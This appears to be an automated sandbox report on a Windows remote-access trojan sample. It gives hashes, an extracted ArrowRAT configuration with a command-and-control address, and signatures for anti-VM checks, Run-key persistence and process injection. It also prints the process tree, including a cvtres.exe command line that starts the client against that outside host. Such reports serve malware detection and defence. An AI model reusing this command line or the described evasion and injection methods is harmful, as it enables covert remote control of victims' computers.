Analysis
-
max time kernel
30s -
max time network
51s -
platform
windows10-1703_x64 -
resource
win10-20220901-en -
resource tags
arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system -
submitted
11-11-2022 03:41
Behavioral task
behavioral1
Sample
b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe
Resource
win7-20220812-en
General
-
Target
b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe
-
Size
8.1MB
-
MD5
e08805d6085d6402dcaeb253e4375a09
-
SHA1
2c79a1203c135aa1a7d5fbed566c94983278b40c
-
SHA256
b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e
-
SHA512
517d723f46c11a10eb303d655ffca77b1bc3f863450208e659cfea70276f15a7d921d52c04597d035faebb7278e66ff55bbb45b451568f11bc176650bd149db9
-
SSDEEP
98304:iFBz9bmxmtOfP7TI/OKIdSOwSmGrjvvLYq5dkcDNckgHDJHZt:qBzQxmtOfzsWKgwS1jvvH5uFHn
Malware Config
Extracted
arrowrat
Client
65.108.204.97:1337
PreIzXewwN
Signatures
-
Pandora hVNC Loader 1 IoCs
Pandora hVNC Loader.
resource yara_rule behavioral2/memory/4068-125-0x0000000000400000-0x000000000042C000-memory.dmp Pandora_hVNC -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe -
Modifies Installed Components in the registry 2 TTPs 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe -
resource yara_rule behavioral2/memory/3068-122-0x0000000000DB0000-0x00000000015D0000-memory.dmp themida behavioral2/memory/3068-123-0x0000000000DB0000-0x00000000015D0000-memory.dmp themida behavioral2/memory/3068-129-0x0000000000DB0000-0x00000000015D0000-memory.dmp themida -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Microsoft\Windows\CurrentVersion\Run\448B16A21F084978A57492DBB010F904 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe\"" b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\D: explorer.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 3068 b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3068 set thread context of 4068 3068 b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe 66 PID 4068 set thread context of 3604 4068 CasPol.exe 68 -
Drops file in Windows directory 3 IoCs
description ioc Process File created C:\Windows\rescache\_merged\2717123927\3950266016.pri explorer.exe File created C:\Windows\rescache\_merged\1601268389\3877292338.pri SearchUI.exe File created C:\Windows\rescache\_merged\4032412167\2900507189.pri explorer.exe -
Checks SCSI registry key(s) 3 TTPs 22 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Capabilities explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Capabilities explorer.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS SearchUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU SearchUI.exe -
Modifies registry class 29 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana\ = "23" SearchUI.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchUI.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoft.windows.cortana SearchUI.exe Set value (data) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" SearchUI.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana SearchUI.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana SearchUI.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\windows.cortana SearchUI.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\UserStartTime = "133065238422491118" explorer.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix SearchUI.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage SearchUI.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total SearchUI.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DomStorageState SearchUI.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana\Total = "23" SearchUI.exe Set value (data) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\IconStreams = 14000000070000000100010005000000140000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b0072000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c100000000000002000000e6070b004100720067006a006200650078000a005600610067007200650061007200670020006e007000700072006600660000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074ae2078e323294282c1e41cb67d5b9c00000000000000000000000010bbf68f7ff5d80100000000000000000000000000000d20feb05a007600700065006200660062007300670020004a0076006100710062006a006600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000640000000000000002000000e6070b004600630072006e0078007200650066003a0020003600370025000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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explorer.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage SearchUI.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchUI.exe Set value (int) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "185" SearchUI.exe Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana\ = "56" SearchUI.exe Set value (int) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana\Total = "56" SearchUI.exe Set value (int) \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "152" SearchUI.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3068 b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe 3068 b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe 4068 CasPol.exe 4068 CasPol.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 3068 b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe Token: SeDebugPrivilege 4068 CasPol.exe Token: SeShutdownPrivilege 3532 explorer.exe Token: SeCreatePagefilePrivilege 3532 explorer.exe Token: SeShutdownPrivilege 3532 explorer.exe Token: SeCreatePagefilePrivilege 3532 explorer.exe Token: SeShutdownPrivilege 3532 explorer.exe Token: SeCreatePagefilePrivilege 3532 explorer.exe Token: SeShutdownPrivilege 3532 explorer.exe Token: SeCreatePagefilePrivilege 3532 explorer.exe Token: SeShutdownPrivilege 3532 explorer.exe Token: SeCreatePagefilePrivilege 3532 explorer.exe Token: SeShutdownPrivilege 3532 explorer.exe Token: SeCreatePagefilePrivilege 3532 explorer.exe Token: SeShutdownPrivilege 3532 explorer.exe Token: SeCreatePagefilePrivilege 3532 explorer.exe Token: SeShutdownPrivilege 3532 explorer.exe Token: SeCreatePagefilePrivilege 3532 explorer.exe Token: SeShutdownPrivilege 3532 explorer.exe Token: SeCreatePagefilePrivilege 3532 explorer.exe Token: SeShutdownPrivilege 3532 explorer.exe Token: SeCreatePagefilePrivilege 3532 explorer.exe Token: SeShutdownPrivilege 3532 explorer.exe Token: SeCreatePagefilePrivilege 3532 explorer.exe -
Suspicious use of FindShellTrayWindow 33 IoCs
pid Process 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe -
Suspicious use of SendNotifyMessage 20 IoCs
pid Process 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe 3532 explorer.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4068 CasPol.exe 4232 SearchUI.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3068 wrote to memory of 4068 3068 b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe 66 PID 3068 wrote to memory of 4068 3068 b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe 66 PID 3068 wrote to memory of 4068 3068 b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe 66 PID 3068 wrote to memory of 4068 3068 b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe 66 PID 3068 wrote to memory of 4068 3068 b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe 66 PID 3068 wrote to memory of 4068 3068 b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe 66 PID 3068 wrote to memory of 4068 3068 b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe 66 PID 3068 wrote to memory of 4068 3068 b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe 66 PID 4068 wrote to memory of 3532 4068 CasPol.exe 67 PID 4068 wrote to memory of 3532 4068 CasPol.exe 67 PID 4068 wrote to memory of 3604 4068 CasPol.exe 68 PID 4068 wrote to memory of 3604 4068 CasPol.exe 68 PID 4068 wrote to memory of 3604 4068 CasPol.exe 68 PID 4068 wrote to memory of 3604 4068 CasPol.exe 68 PID 4068 wrote to memory of 3604 4068 CasPol.exe 68 PID 4068 wrote to memory of 3604 4068 CasPol.exe 68 PID 4068 wrote to memory of 3604 4068 CasPol.exe 68 PID 4068 wrote to memory of 3604 4068 CasPol.exe 68 PID 3532 wrote to memory of 4832 3532 explorer.exe 71 PID 3532 wrote to memory of 4832 3532 explorer.exe 71
Processes
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C:\Users\Admin\AppData\Local\Temp\b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe"C:\Users\Admin\AppData\Local\Temp\b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3068 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"3⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3532 -
C:\Windows\system32\ctfmon.exectfmon.exe4⤵PID:4832
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 65.108.204.97 1337 PreIzXewwN3⤵PID:3604
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C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4232